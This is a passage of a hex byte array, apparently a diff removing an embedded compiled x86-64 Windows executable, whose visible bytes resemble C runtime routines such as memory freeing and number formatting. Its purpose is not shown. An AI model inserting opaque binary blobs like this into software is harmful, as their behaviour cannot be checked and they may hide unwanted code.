0x95, 0x14, 0x05, - 0x00, 0x00, 0xe8, 0x45, 0x63, 0xff, 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, - 0x33, 0xd2, 0xe8, 0xd9, 0x5e, 0xff, 0xff, 0xe8, 0xd0, 0xa1, 0xff, 0xff, - 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, 0xe8, 0xa5, 0xa0, 0xff, 0xff, 0x44, - 0x8b, 0x75, 0xa0, 0x41, 0x8a, 0xc7, 0x84, 0xc0, 0x0f, 0x84, 0xac, 0x00, - 0x00, 0x00, 0x8b, 0x54, 0x24, 0x44, 0x4c, 0x8d, 0x05, 0xff, 0x33, 0xff, - 0xff, 0x2b, 0x54, 0x24, 0x50, 0xb9, 0x26, 0x00, 0x00, 0x00, 0x89, 0x54, - 0x24, 0x44, 0x0f, 0x85, 0x7e, 0xfc, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x4c, - 0x8b, 0x44, 0x24, 0x38, 0x8d, 0x04, 0x80, 0x03, 0xc0, 0x2b, 0xc8, 0x0f, - 0x84, 0xd7, 0xfb, 0xff, 0xff, 0x8d, 0x41, 0xff, 0x41, 0x8b, 0x84, 0x80, - 0x78, 0x57, 0x01, 0x00, 0x85, 0xc0, 0x74, 0x6a, 0x41, 0x3b, 0xc7, 0x0f, - 0x84, 0xbf, 0xfb, 0xff, 0xff, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xb6, 0xfb, - 0xff, 0xff, 0x45, 0x33, 0xc0, 0x44, 0x8b, 0xd0, 0x45, 0x33, 0xc9, 0x42, - 0x8b, 0x4c, 0x8d, 0xa4, 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, - 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, 0x4c, 0x8d, 0xa4, 0x49, 0xc1, - 0xe8, 0x20, 0x45, 0x03, 0xcf, 0x45, 0x3b, 0xce, 0x75, 0xdd, 0x45, 0x85, - 0xc0, 0x74, 0x1e, 0x83, 0x7d, 0xa0, 0x73, 0x73, 0x21, 0x8b, 0x45, 0xa0, - 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x8b, 0x75, 0xa0, 0x45, 0x03, 0xf7, - 0x44, 0x89, 0x75, 0xa0, 0xe9, 0x67, 0xfb, 0xff, 0xff, 0x44, 0x8b, 0x75, - 0xa0, 0xe9, 0x5e, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x75, 0x80, 0x83, 0x65, - 0xa0, 0x00, 0x48, 0x8b, 0xde, 0xeb, 0x23, 0x83, 0xa5, 0x40, 0x03, 0x00, - 0x00, 0x00, 0x4c, 0x8d, 0x85, 0x44, 0x03, 0x00, 0x00, 0x83, 0x65, 0xa0, - 0x00, 0x48, 0x8d, 0x4d, 0xa4, 0x45, 0x33, 0xc9, 0xba, 0xcc, 0x01, 0x00, - 0x00, 0xe8, 0x9e, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x70, 0x01, 0x00, - 0x00, 0x48, 0x8d, 0x4d, 0xa0, 0xe8, 0x1e, 0xec, 0xff, 0xff, 0x8b, 0x7c, - 0x24, 0x40, 0x83, 0xf8, 0x0a, 0x0f, 0x85, 0x90, 0x00, 0x00, 0x00, 0x41, - 0x03, 0xff, 0xc6, 0x06, 0x31, 0x48, 0x8d, 0x5e, 0x01, 0x45, 0x85, 0xe4, - 0x0f, 0x84, 0x8e, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, - 0x42, 0x8b, 0x84, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0c, 0x80, - 0x41, 0x8b, 0xc0, 0x4c, 0x8d, 0x04, 0x48, 0x46, 0x89, 0x84, 0x8d, 0x74, - 0x01, 0x00, 0x00, 0x45, 0x03, 0xcf, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x3b, - 0xcc, 0x75, 0xd9, 0x45, 0x85, 0xc0, 0x74, 0x5c, 0x83, 0xbd, 0x70, 0x01, - 0x00, 0x00, 0x73, 0x73, 0x17, 0x8b, 0x85, 0x70, 0x01, 0x00, 0x00, 0x44, - 0x89, 0x84, 0x85, 0x74, 0x01, 0x00, 0x00, 0x44, 0x01, 0xbd, 0x70, 0x01, - 0x00, 0x00, 0xeb, 0x3c, 0x83, 0xa5, 0x40, 0x03, 0x00, 0x00, 0x00, 0x4c, - 0x8d, 0x85, 0x44, 0x03, 0x00, 0x00, 0x83, 0xa5, 0x70, 0x01, 0x00, 0x00, - 0x00, 0x48, 0x8d, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x45, 0x33, 0xc9, 0xba, - 0xcc, 0x01, 0x00, 0x00, 0xe8, 0xf3, 0x01, 0x00, 0x00, 0xeb, 0x11, 0x85, - 0xc0, 0x75, 0x05, 0x41, 0x2b, 0xff, 0xeb, 0x08, 0x04, 0x30, 0x48, 0x8d, - 0x5e, 0x01, 0x88, 0x06, 0x48, 0x8b, 0x45, 0x90, 0x8b, 0x4c, 0x24, 0x60, - 0x89, 0x78, 0x04, 0x85, 0xff, 0x78, 0x0a, 0x81, 0xf9, 0xff, 0xff, 0xff, - 0x7f, 0x77, 0x02, 0x03, 0xcf, 0x48, 0x8b, 0x85, 0x50, 0x07, 0x00, 0x00, - 0x48, 0xff, 0xc8, 0x8b, 0xf9, 0x48, 0x3b, 0xc7, 0x48, 0x0f, 0x42, 0xf8, - 0x48, 0x03, 0xfe, 0x48, 0x3b, 0xdf, 0x0f, 0x84, 0x0b, 0x01, 0x00, 0x00, - 0x44, 0x8b, 0x55, 0xa0, 0x41, 0xbc, 0x09, 0x00, 0x00, 0x00, 0x45, 0x85, - 0xd2, 0x0f, 0x84, 0xf8, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x45, 0x33, - 0xc9, 0x42, 0x8b, 0x44, 0x8d, 0xa4, 0x48, 0x69, 0xc8, 0x00, 0xca, 0x9a, - 0x3b, 0x41, 0x8b, 0xc0, 0x48, 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, - 0x4c, 0x8d, 0xa4, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x03, 0xcf, 0x45, 0x3b, - 0xca, 0x75, 0xda, 0x45, 0x85, 0xc0, 0x74, 0x37, 0x83, 0x7d, 0xa0, 0x73, - 0x73, 0x0e, 0x8b, 0x45, 0xa0, 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x01, - 0x7d, 0xa0, 0xeb, 0x23, 0x83, 0xa5, 0x40, 0x03, 0x00, 0x00, 0x00, 0x4c, - 0x8d, 0x85, 0x44, 0x03, 0x00, 0x00, 0x83, 0x65, 0xa0, 0x00, 0x48, 0x8d, - 0x4d, 0xa4, 0x45, 0x33, 0xc9, 0xba, 0xcc, 0x01, 0x00, 0x00, 0xe8, 0x2d, - 0x01, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8d, - 0x4d, 0xa0, 0xe8, 0xad, 0xea, 0xff, 0xff, 0x44, 0x8b, 0x55, 0xa0, 0x44, - 0x8b, 0xdf, 0x45, 0x85, 0xd2, 0x4c, 0x8b, 0xc0, 0x41, 0xb9, 0x08, 0x00, - 0x00, 0x00, 0x41, 0x0f, 0x94, 0xc6, 0x44, 0x2b, 0xdb, 0xb8, 0xcd, 0xcc, - 0xcc, 0xcc, 0x41, 0xf7, 0xe0, 0xc1, 0xea, 0x03, 0x8a, 0xc2, 0xc0, 0xe0, - 0x02, 0x8d, 0x0c, 0x10, 0x02, 0xc9, 0x44, 0x2a, 0xc1, 0x41, 0x8d, 0x70, - 0x30, 0x44, 0x8b, 0xc2, 0x45, 0x3b, 0xd9, 0x73, 0x12, 0x33, 0xc9, 0x41, - 0x0f, 0xb6, 0xc6, 0x40, 0x80, 0xfe, 0x30, 0x0f, 0x44, 0xc8, 0x44, 0x8a, - 0xf1, 0xeb, 0x07, 0x41, 0x8b, 0xc1, 0x40, 0x88, 0x34, 0x18, 0x83, 0xc8, - 0xff, 0x44, 0x03, 0xc8, 0x44, 0x3b, 0xc8, 0x75, 0xb8, 0x48, 0x8b, 0xc7, - 0x44, 0x88, 0x74, 0x24, 0x30, 0x48, 0x2b, 0xc3, 0x49, 0x3b, 0xc4, 0x49, - 0x0f, 0x4f, 0xc4, 0x48, 0x03, 0xd8, 0x48, 0x3b, 0xdf, 0x0f, 0x85, 0xff, - 0xfe, 0xff, 0xff, 0x45, 0x33, 0xff, 0xc6, 0x03, 0x00, 0x44, 0x38, 0x7c, - 0x24, 0x30, 0x41, 0x0f, 0x95, 0xc7, 0xeb, 0x41, 0x4c, 0x8d, 0x05, 0xcd, - 0x88, 0x00, 0x00, 0xe9, 0x12, 0xef, 0xff, 0xff, 0x4c, 0x8d, 0x05, 0xb9, - 0x88, 0x00, 0x00, 0xe9, 0x06, 0xef, 0xff, 0xff, 0x4c, 0x8d, 0x05, 0xa5, - 0x88, 0x00, 0x00, 0xe9, 0xfa, 0xee, 0xff, 0xff, 0x48, 0x8b, 0x95, 0x50, - 0x07, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x8a, 0x88, 0x00, 0x00, 0x49, 0x8b, - 0xce, 0xe8, 0x72, 0x93, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x38, 0x45, 0x33, - 0xff, 0x80, 0x7c, 0x24, 0x70, 0x00, 0x74, 0x0a, 0x48, 0x8d, 0x4c, 0x24, - 0x68, 0xe8, 0x36, 0x28, 0x00, 0x00, 0x41, 0x8b, 0xc7, 0x48, 0x8b, 0x8d, - 0xe0, 0x06, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0x38, 0x4a, 0xff, 0xff, - 0x48, 0x81, 0xc4, 0xf0, 0x07, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, - 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, - 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x3d, - 0x9d, 0xff, 0xff, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, - 0xf0, 0x48, 0x8b, 0xfa, 0x4d, 0x85, 0xc9, 0x75, 0x04, 0x33, 0xc0, 0xeb, - 0x56, 0x48, 0x85, 0xc9, 0x75, 0x15, 0xe8, 0x11, 0x9e, 0xff, 0xff, 0xbb, - 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xe5, 0x9c, 0xff, 0xff, 0x8b, - 0xc3, 0xeb, 0x3c, 0x48, 0x85, 0xf6, 0x74, 0x12, 0x48, 0x3b, 0xfb, 0x72, - 0x0d, 0x4c, 0x8b, 0xc3, 0x48, 0x8b, 0xd6, 0xe8, 0x50, 0x5f, 0xff, 0xff, - 0xeb, 0xcb, 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0xe8, 0xe4, 0x5a, 0xff, 0xff, - 0x48, 0x85, 0xf6, 0x74, 0xc5, 0x48, 0x3b, 0xfb, 0x73, 0x0c, 0xe8, 0xd1, - 0x9d, 0xff, 0xff, 0xbb, 0x22, 0x00, 0x00, 0x00, 0xeb, 0xbe, 0xb8, 0x16, - 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, - 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0x87, 0x2e, 0x00, 0x00, 0x8b, 0xc8, 0x48, 0x83, 0xc4, 0x28, 0xe9, - 0x70, 0x2e, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x30, 0x83, 0x64, 0x24, 0x20, 0x00, 0xb9, 0x08, 0x00, 0x00, 0x00, - 0xe8, 0x7b, 0xbe, 0xff, 0xff, 0x90, 0xbb, 0x03, 0x00, 0x00, 0x00, 0x89, - 0x5c, 0x24, 0x24, 0x3b, 0x1d, 0xe3, 0x13, 0x01, 0x00, 0x74, 0x6d, 0x48, - 0x63, 0xfb, 0x48, 0x8b, 0x05, 0xdf, 0x13, 0x01, 0x00, 0x48, 0x8b, 0x0c, - 0xf8, 0x48, 0x85, 0xc9, 0x75, 0x02, 0xeb, 0x54, 0x8b, 0x41, 0x14, 0xc1, - 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x19, 0x48, 0x8b, 0x0d, 0xc3, 0x13, 0x01, - 0x00, 0x48, 0x8b, 0x0c, 0xf9, 0xe8, 0x5e, 0x32, 0x00, 0x00, 0x83, 0xf8, - 0xff, 0x74, 0x04, 0xff, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x05, 0xaa, 0x13, - 0x01, 0x00, 0x48, 0x8b, 0x0c, 0xf8, 0x48, 0x83, 0xc1, 0x30, 0xff, 0x15, - 0xec, 0x50, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0x95, 0x13, 0x01, 0x00, 0x48, - 0x8b, 0x0c, 0xf9, 0xe8, 0x38, 0x9d, 0xff, 0xff, 0x48, 0x8b, 0x05, 0x85, - 0x13, 0x01, 0x00, 0x48, 0x83, 0x24, 0xf8, 0x00, 0xff, 0xc3, 0xeb, 0x87, - 0xb9, 0x08, 0x00, 0x00, 0x00, 0xe8, 0x46, 0xbe, 0xff, 0xff, 0x8b, 0x44, - 0x24, 0x20, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x30, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x41, - 0x14, 0x48, 0x8b, 0xd9, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x27, 0x8b, - 0x41, 0x14, 0xc1, 0xe8, 0x06, 0xa8, 0x01, 0x74, 0x1d, 0x48, 0x8b, 0x49, - 0x08, 0xe8, 0xe6, 0x9c, 0xff, 0xff, 0xf0, 0x81, 0x63, 0x14, 0xbf, 0xfe, - 0xff, 0xff, 0x33, 0xc0, 0x48, 0x89, 0x43, 0x08, 0x48, 0x89, 0x03, 0x89, - 0x43, 0x10, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0x83, 0xf9, 0xfe, 0x75, 0x0d, 0xe8, 0x9e, 0x9c, 0xff, 0xff, 0xc7, 0x00, - 0x09, 0x00, 0x00, 0x00, 0xeb, 0x42, 0x85, 0xc9, 0x78, 0x2e, 0x3b, 0x0d, - 0x30, 0x17, 0x01, 0x00, 0x73, 0x26, 0x48, 0x63, 0xc9, 0x48, 0x8d, 0x15, - 0x24, 0x13, 0x01, 0x00, 0x48, 0x8b, 0xc1, 0x83, 0xe1, 0x3f, 0x48, 0xc1, - 0xf8, 0x06, 0x48, 0x8d, 0x0c, 0xc9, 0x48, 0x8b, 0x04, 0xc2, 0x0f, 0xb6, - 0x44, 0xc8, 0x38, 0x83, 0xe0, 0x40, 0xeb, 0x12, 0xe8, 0x5f, 0x9c, 0xff, - 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0x34, 0x9b, 0xff, 0xff, - 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x85, 0xc9, 0x0f, - 0x84, 0x00, 0x01, 0x00, 0x00, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xd9, 0x48, 0x8b, 0x49, 0x18, 0x48, 0x3b, 0x0d, 0xcc, 0x06, 0x01, 0x00, - 0x74, 0x05, 0xe8, 0x49, 0x9c, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x20, 0x48, - 0x3b, 0x0d, 0xc2, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x37, 0x9c, 0xff, - 0xff, 0x48, 0x8b, 0x4b, 0x28, 0x48, 0x3b, 0x0d, 0xb8, 0x06, 0x01, 0x00, - 0x74, 0x05, 0xe8, 0x25, 0x9c, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x30, 0x48, - 0x3b, 0x0d, 0xae, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x13, 0x9c, 0xff, - 0xff, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x3b, 0x0d, 0xa4, 0x06, 0x01, 0x00, - 0x74, 0x05, 0xe8, 0x01, 0x9c, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x40, 0x48, - 0x3b, 0x0d, 0x9a, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xef, 0x9b, 0xff, - 0xff, 0x48, 0x8b, 0x4b, 0x48, 0x48, 0x3b, 0x0d, 0x90, 0x06, 0x01, 0x00, - 0x74, 0x05, 0xe8, 0xdd, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x68, 0x48, - 0x3b, 0x0d, 0x9e, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xcb, 0x9b, 0xff, - 0xff, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x3b, 0x0d, 0x94, 0x06, 0x01, 0x00, - 0x74, 0x05, 0xe8, 0xb9, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x78, 0x48, - 0x3b, 0x0d, 0x8a, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xa7, 0x9b, 0xff, - 0xff, 0x48, 0x8b, 0x8b, 0x80, 0x00, 0x00, 0x00, 0x48, 0x3b, 0x0d, 0x7d, - 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x92, 0x9b, 0xff, 0xff, 0x48, 0x8b, - 0x8b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x3b, 0x0d, 0x70, 0x06, 0x01, 0x00, - 0x74, 0x05, 0xe8, 0x7d, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x90, 0x00, - 0x00, 0x00, 0x48, 0x3b, 0x0d, 0x63, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, - 0x68, 0x9b, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, - 0x48, 0x85, 0xc9, 0x74, 0x66, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xd9, 0x48, 0x8b, 0x09, 0x48, 0x3b, 0x0d, 0xad, 0x05, 0x01, 0x00, 0x74, - 0x05, 0xe8, 0x42, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x3b, - 0x0d, 0xa3, 0x05, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x30, 0x9b, 0xff, 0xff, - 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x3b, 0x0d, 0x99, 0x05, 0x01, 0x00, 0x74, - 0x05, 0xe8, 0x1e, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x58, 0x48, 0x3b, - 0x0d, 0xcf, 0x05, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x0c, 0x9b, 0xff, 0xff, - 0x48, 0x8b, 0x4b, 0x60, 0x48, 0x3b, 0x0d, 0xc5, 0x05, 0x01, 0x00, 0x74, - 0x05, 0xe8, 0xfa, 0x9a, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xec, 0x20, 0x33, 0xff, 0x48, 0x8d, 0x04, 0xd1, 0x48, 0x8b, 0xd9, - 0x48, 0x8b, 0xf2, 0x48, 0xb9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x1f, 0x48, 0x23, 0xf1, 0x48, 0x3b, 0xd8, 0x48, 0x0f, 0x47, 0xf7, 0x48, - 0x85, 0xf6, 0x74, 0x14, 0x48, 0x8b, 0x0b, 0xe8, 0xb8, 0x9a, 0xff, 0xff, - 0x48, 0xff, 0xc7, 0x48, 0x8d, 0x5b, 0x08, 0x48, 0x3b, 0xfe, 0x75, 0xec, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x85, 0xc9, 0x0f, 0x84, 0xfe, 0x00, 0x00, - 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x56, - 0x48, 0x83, 0xec, 0x20, 0xbd, 0x07, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, - 0x8b, 0xd5, 0xe8, 0x81, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x4b, 0x38, 0x8b, - 0xd5, 0xe8, 0x76, 0xff, 0xff, 0xff, 0x8d, 0x75, 0x05, 0x8b, 0xd6, 0x48, - 0x8d, 0x4b, 0x70, 0xe8, 0x68, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0xd0, - 0x00, 0x00, 0x00, 0x8b, 0xd6, 0xe8, 0x5a, 0xff, 0xff, 0xff, 0x48, 0x8d, - 0x8b, 0x30, 0x01, 0x00, 0x00, 0x8d, 0x55, 0xfb, 0xe8, 0x4b, 0xff, 0xff, - 0xff, 0x48, 0x8b, 0x8b, 0x40, 0x01, 0x00, 0x00, 0xe8, 0x33, 0x9a, 0xff, - 0xff, 0x48, 0x8b, 0x8b, 0x48, 0x01, 0x00, 0x00, 0xe8, 0x27, 0x9a, 0xff, - 0xff, 0x48, 0x8b, 0x8b, 0x50, 0x01, 0x00, 0x00, 0xe8, 0x1b, 0x9a, 0xff, - 0xff, 0x48, 0x8d, 0x8b, 0x60, 0x01, 0x00, 0x00, 0x8b, 0xd5, 0xe8, 0x19, - 0xff, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0x98, 0x01, 0x00, 0x00, 0x8b, 0xd5, - 0xe8, 0x0b, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0xd0, 0x01, 0x00, 0x00, - 0x8b, 0xd6, 0xe8, 0xfd, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0x30, 0x02, - 0x00, 0x00, 0x8b, 0xd6, 0xe8, 0xef, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x8b, - 0x90, 0x02, 0x00, 0x00, 0x8d, 0x55, 0xfb, 0xe8, 0xe0, 0xfe, 0xff, 0xff, - 0x48, 0x8b, 0x8b, 0xa0, 0x02, 0x00, 0x00, 0xe8, 0xc8, 0x99, 0xff, 0xff, - 0x48, 0x8b, 0x8b, 0xa8, 0x02, 0x00, 0x00, 0xe8, 0xbc, 0x99, 0xff, 0xff, - 0x48, 0x8b, 0x8b, 0xb0, 0x02, 0x00, 0x00, 0xe8, 0xb0, 0x99, 0xff, 0xff, - 0x48, 0x8b, 0x8b, 0xb8, 0x02, 0x00, 0x00, 0xe8, 0xa4, 0x99, 0xff, 0xff, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x83, - 0xc4, 0x20, 0x5e, 0xc3, 0x40, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, - 0x41, 0x57, 0x48, 0x83, 0xec, 0x60, 0x48, 0x8d, 0x6c, 0x24, 0x30, 0x48, - 0x89, 0x5d, 0x60, 0x48, 0x89, 0x75, 0x68, 0x48, 0x89, 0x7d, 0x70, 0x48, - 0x8b, 0x05, 0xaa, 0xfb, 0x00, 0x00, 0x48, 0x33, 0xc5, 0x48, 0x89, 0x45, - 0x20, 0x44, 0x8b, 0xea, 0x45, 0x8b, 0xf9, 0x48, 0x8b, 0xd1, 0x4d, 0x8b, - 0xe0, 0x48, 0x8d, 0x4d, 0x00, 0xe8, 0xbe, 0x6a, 0xff, 0xff, 0x8b, 0xbd, - 0x88, 0x00, 0x00, 0x00, 0x85, 0xff, 0x75, 0x07, 0x48, 0x8b, 0x45, 0x08, - 0x8b, 0x78, 0x0c, 0xf7, 0x9d, 0x90, 0x00, 0x00, 0x00, 0x45, 0x8b, 0xcf, - 0x4d, 0x8b, 0xc4, 0x8b, 0xcf, 0x1b, 0xd2, 0x83, 0x64, 0x24, 0x28, 0x00, - 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x83, 0xe2, 0x08, 0xff, 0xc2, 0xe8, - 0x20, 0xd2, 0xff, 0xff, 0x4c, 0x63, 0xf0, 0x85, 0xc0, 0x75, 0x07, 0x33, - 0xff, 0xe9, 0xce, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf6, 0x48, 0x03, 0xf6, - 0x48, 0x8d, 0x46, 0x10, 0x48, 0x3b, 0xf0, 0x48, 0x1b, 0xc9, 0x48, 0x23, - 0xc8, 0x74, 0x53, 0x48, 0x81, 0xf9, 0x00, 0x04, 0x00, 0x00, 0x77, 0x31, - 0x48, 0x8d, 0x41, 0x0f, 0x48, 0x3b, 0xc1, 0x77, 0x0a, 0x48, 0xb8, 0xf0, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x48, 0x83, 0xe0, 0xf0, 0xe8, - 0xc8, 0x3e, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8d, 0x5c, 0x24, 0x30, - 0x48, 0x85, 0xdb, 0x74, 0x6f, 0xc7, 0x03, 0xcc, 0xcc, 0x00, 0x00, 0xeb, - 0x13, 0xe8, 0xfa, 0x98, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, - 0x74, 0x0e, 0xc7, 0x00, 0xdd, 0xdd, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x10, - 0xeb, 0x02, 0x33, 0xdb, 0x48, 0x85, 0xdb, 0x74, 0x47, 0x4c, 0x8b, 0xc6, - 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x76, 0x55, 0xff, 0xff, 0x45, 0x8b, - 0xcf, 0x44, 0x89, 0x74, 0x24, 0x28, 0x4d, 0x8b, 0xc4, 0x48, 0x89, 0x5c, - 0x24, 0x20, 0xba, 0x01, 0x00, 0x00, 0x00, 0x8b, 0xcf, 0xe8, 0x7a, 0xd1, - 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1a, 0x4c, 0x8b, 0x8d, 0x80, 0x00, 0x00, - 0x00, 0x44, 0x8b, 0xc0, 0x48, 0x8b, 0xd3, 0x41, 0x8b, 0xcd, 0xff, 0x15, - 0x40, 0x4b, 0x00, 0x00, 0x8b, 0xf8, 0xeb, 0x02, 0x33, 0xff, 0x48, 0x85, - 0xdb, 0x74, 0x11, 0x48, 0x8d, 0x4b, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, - 0x00, 0x75, 0x05, 0xe8, 0x40, 0x98, 0xff, 0xff, 0x80, 0x7d, 0x18, 0x00, - 0x74, 0x0b, 0x48, 0x8b, 0x45, 0x00, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x8b, 0xc7, 0x48, 0x8b, 0x4d, 0x20, 0x48, 0x33, 0xcd, 0xe8, 0xd5, - 0x43, 0xff, 0xff, 0x48, 0x8b, 0x5d, 0x60, 0x48, 0x8b, 0x75, 0x68, 0x48, - 0x8b, 0x7d, 0x70, 0x48, 0x8d, 0x65, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x41, - 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x20, 0xba, 0x48, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0xf8, - 0xe8, 0x63, 0xb9, 0xff, 0xff, 0x33, 0xf6, 0x48, 0x8b, 0xd8, 0x48, 0x85, - 0xc0, 0x74, 0x5b, 0x48, 0x8d, 0xa8, 0x00, 0x12, 0x00, 0x00, 0x48, 0x3b, - 0xc5, 0x74, 0x4c, 0x48, 0x8d, 0x78, 0x30, 0x48, 0x8d, 0x4f, 0xd0, 0x45, - 0x33, 0xc0, 0xba, 0xa0, 0x0f, 0x00, 0x00, 0xe8, 0x04, 0xb5, 0xff, 0xff, - 0x48, 0x83, 0x4f, 0xf8, 0xff, 0x48, 0x8d, 0x4f, 0x0e, 0x80, 0x67, 0x0d, - 0xf8, 0x8b, 0xc6, 0x48, 0x89, 0x37, 0xc7, 0x47, 0x08, 0x00, 0x00, 0x0a, - 0x0a, 0xc6, 0x47, 0x0c, 0x0a, 0x40, 0x88, 0x31, 0xff, 0xc0, 0x48, 0xff, - 0xc1, 0x83, 0xf8, 0x05, 0x72, 0xf3, 0x48, 0x83, 0xc7, 0x48, 0x48, 0x8d, - 0x47, 0xd0, 0x48, 0x3b, 0xc5, 0x75, 0xb8, 0x48, 0x8b, 0xf3, 0x33, 0xc9, - 0xe8, 0x77, 0x97, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, - 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, - 0x4a, 0x48, 